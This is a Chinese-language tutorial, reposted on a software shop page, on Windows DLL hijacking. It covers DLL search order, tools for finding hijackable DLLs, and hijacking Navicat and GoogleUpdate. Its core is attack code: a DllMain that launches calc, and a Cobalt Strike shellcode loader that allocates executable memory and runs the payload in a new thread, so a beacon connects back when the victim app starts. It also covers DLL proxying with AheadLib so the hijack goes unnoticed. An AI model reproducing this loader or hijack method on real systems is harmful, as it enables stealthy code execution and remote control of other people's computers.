当前位置:

首页 > 软件教程 > 从零学DLL劫持技术解析

从零学DLL劫持技术解析

Windows 11
Windows 11

Windows 11 是微软全新操作系统,现代化界面,流畅操作体验,适用于学习、工作与日常生活。它更偏向把系统状态查看和常用调节动作放在一起,适合需要持续观察和微调设备状态的场景。

立即下载
¥159
Windows 2026-08-22
正版软件 Windows 操作系统 Windows 11 Windows下载

DLL劫持DLL简介DLL加载顺序如果程序需要加载一个相对路径的dll文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:windowsxpsp2之前Windows查找DLL的目录以及对应的顺序:进程对应的应用程序所在目录;当前目录(CurrentDirectory);系统目录(通过GetSystemDirectory获取);16位系统目录;Windows目录(通过GetWindowsDirectory获取);PATH环境变量中的各个目录;windowsxpsp2

本文目录
    DLL劫持

    DLL简介DLL加载顺序

    如果程序需要加载一个相对路径的dll文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:

    windows xp sp2之前

    Windows查找DLL的目录以及对应的顺序:

    进程对应的应用程序所在目录; 当前目录(Current Directory); 系统目录(通过 GetSystemDirectory 获取); 16位系统目录; Windows目录(通过 GetWindowsDirectory 获取); PATH环境变量中的各个目录; windows xp sp2之后

    Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

    默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

    进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent) 系统目录(即%windir%system32); 16位系统目录(即%windir%system); Windows目录(即%windir%); 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test); PATH环境变量中的各个目录; windows 7 以上版本

    从Windows7 之后, 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,该项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录SYSTEM32目录下调用,其注册表位置:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

    技术研究-从零开始学习DLL劫持
    自动化挖掘批量寻找劫持

    https://github.com/wietze/windows-dll-hijacking

    代码语言:javascript代码运行次数:0运行复制
    python generate_pmc_files.py
    技术研究-从零开始学习DLL劫持
    单个查找劫持

    https://github.com/knight0x07/ImpulsiveDLLHijack

    编译完成后,把Prerequisites文件夹里的内容拷贝至ImpulsiveDLLHijack项目里

    技术研究-从零开始学习DLL劫持
    代码语言:javascript代码运行次数:0运行复制
    ImpulsiveDLLHijack.exe -path xxx.exe
    技术研究-从零开始学习DLL劫持

    这里使用navicat进行测试,可见运行的时候会加载C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

    技术研究-从零开始学习DLL劫持

    使用cs生成恶意dll,重命名为oci.dll后放置到该目录下

    技术研究-从零开始学习DLL劫持
    技术研究-从零开始学习DLL劫持
    手动挖掘

    Process Monitor查找可用dll,设置如下图所示

    技术研究-从零开始学习DLL劫持

    配置完可以保存导出配置,下次直接导入使用

    技术研究-从零开始学习DLL劫持

    使用GoogleUpdate.exe进行测试,运行程序filter加载所使用的dll文件

    技术研究-从零开始学习DLL劫持

    这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

    编写一个基础的弹窗dll

    代码语言:javascript代码运行次数:0运行复制
    #include #pragma comment (lib, "user32.lib")BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {    switch (ul_reason_for_call) {    case DLL_PROCESS_ATTACH://DLL首次被加载到内存时运行    case DLL_PROCESS_DETACH://DLL销毁时运行    case DLL_THREAD_ATTACH://DLL线程加载时运行    case DLL_THREAD_DETACH://DLL线程销毁时运行        break;    }    return TRUE;}extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);    return 0;}
    技术研究-从零开始学习DLL劫持
    弹计算器代码语言:javascript代码运行次数:0运行复制
    // dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#includeBOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        system("calc");    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}
    技术研究-从零开始学习DLL劫持
    CS上线

    cs生成c的payload

    技术研究-从零开始学习DLL劫持
    技术研究-从零开始学习DLL劫持

    生成的payload填入到下面相应的位置上

    代码语言:javascript代码运行次数:0运行复制
    // 头文件#include "pch.h"#include ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////HANDLE hThread = NULL;typedef void(__stdcall* JMP_SHELLCODE)();unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";DWORD WINAPI jmp_shellcode(LPVOID pPara){    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(lpBase, shellcode, sizeof(shellcode));    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;    jmp_shellcode();    return 0;}////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);    }    else if (dwReason == DLL_PROCESS_DETACH)    {    }    return TRUE;}
    技术研究-从零开始学习DLL劫持

    运行navicat程序就会上线

    技术研究-从零开始学习DLL劫持
    DLL转发劫持

    有时候当我们替换dll后,虽然可以执行命令,但是会产生报错

    技术研究-从零开始学习DLL劫持

    这时候我们可以使用AheadLib工具,使恶意的DLL将原有的函数转发到原DLL中并且释放恶意代码

    打开工具导入dll文件,会生成相应的cpp文件

    技术研究-从零开始学习DLL劫持
    技术研究-从零开始学习DLL劫持
    技术研究-从零开始学习DLL劫持

    我的博客即将同步至PHP中文网开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=1kvjv5bw3cr7k

    本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
    作者最新文章
    软件教程 Windows
    相关文章 更多
    电脑截图快捷键没反应:检查Fn锁定与驱动冲突
    电脑截图快捷键没反应:检查Fn锁定与驱动冲突

    当Win+Shift+S或PrtSc键失效时,本文指导用户逐步检查键盘Fn锁定状态、更新键盘驱动程序以及排查第三方软件的热键拦截,快速恢复截图功能。

    Windows更新后开机黑屏,进入安全模式卸载补丁或回滚驱动
    Windows更新后开机黑屏,进入安全模式卸载补丁或回滚驱动

    Windows更新后遭遇开机黑屏?本指南详解如何通过自动修复进入Windows恢复环境,在安全模式中卸载导致故障的质量或功能更新,并回滚显示适配器驱动。包含BitLocker密钥备份提醒及系统还原等备选方案,帮助用户快速恢复桌面正常显示。

    电脑蓝屏后怎么紧急重启并保护未保存数据
    电脑蓝屏后怎么紧急重启并保护未保存数据

    本文介绍Windows电脑蓝屏后的正确处理流程:包括记录停止代码、执行安全重启、进入恢复环境进行启动修复或进入安全模式,以及如何在系统不稳定时保护未保存的重要数据。适用于遇到系统崩溃担心数据丢失的用户。

    电脑黑屏只有鼠标光标怎么办
    电脑黑屏只有鼠标光标怎么办

    解决Windows电脑登录后黑屏但鼠标可动的问题,通过任务管理器重启桌面进程或进入安全模式卸载近期安装的冲突软件,快速恢复桌面显示。

    电脑睡眠唤醒后黑屏无法点亮,关闭快速启动并更新显卡驱动
    电脑睡眠唤醒后黑屏无法点亮,关闭快速启动并更新显卡驱动

    电脑睡眠唤醒后黑屏怎么办?本教程指导您通过关闭Windows快速启动功能和更新显卡驱动程序,解决因电源状态保存错误导致的显示信号丢失问题,操作简单,效果立竿见影。

    更新驱动或系统后出现蓝屏的卸载与回滚方法
    更新驱动或系统后出现蓝屏的卸载与回滚方法

    本文指导用户在遭遇Windows蓝屏死机后,如何正确记录错误信息、执行安全重启并进入恢复环境。通过启动修复、安全模式等方法保护未保存文件,并提供后续排查建议,避免因操作不当导致数据丢失或系统损坏。

    Windows12配置要求公布后怎么查电脑能否升级?检查步骤整理
    Windows12配置要求公布后怎么查电脑能否升级?检查步骤整理

    面对Windows12配置要求,别只盯着内存看。本文教你在Win11中准确记录处理器型号、磁盘剩余空间、TPM版本及安全启动状态,建立完整的设备档案,待官方标准明确后快速对照,避免盲目升级或误判兼容性。

    Windows12配置要求与Windows11一样吗?不要把旧标准当新标准
    Windows12配置要求与Windows11一样吗?不要把旧标准当新标准

    网传Windows12配置要求多为误读,实则是Windows11的标准或AI PC的特定门槛。本文详解如何区分不同硬件要求,并指导用户正确查看当前电脑配置,避免盲目更换硬件。

    Windows12安装教程入口怎么找?跟随微软官方说明操作
    Windows12安装教程入口怎么找?跟随微软官方说明操作

    寻找Windows 12安装教程时,如何区分官方入口与网络镜像?本文指导用户在微软软件下载与支持页面核对产品名称、版本号(如26H2)及适用设备,明确当前未发布Windows 12正式版的事实,避免误操作。

    Windows12安装教程:如何确认微软已经发布正式安装介质
    Windows12安装教程:如何确认微软已经发布正式安装介质

    网上出现Windows12安装包是真的吗?本教程教你通过微软官网下载页、官方公告和SHA256哈希值核验文件真伪,区分预览版与正式版,确保系统安装安全。

    查看更多
    精品专题 更多
    装机必备
    装机必备

    正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

    Windows
    Windows

    正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

    PDF教程
    PDF教程

    正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

    Mac软件 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    Aperty macOS版
    Aperty macOS版
    macOS

    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    WINDOWS 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    PixTV 网页版
    PixTV 网页版
    Windows

    PixTV 是一款在浏览器中使用的 AI 视觉内容创作平台,提供图片、视频、音频、文字生成、AI 分镜、局部重绘、提示词反推和无限画布等工具,适合短剧、漫剧、广告及社交媒体内容制作。

    即将离开本站
    您即将前往第三方网站,请确认是否继续?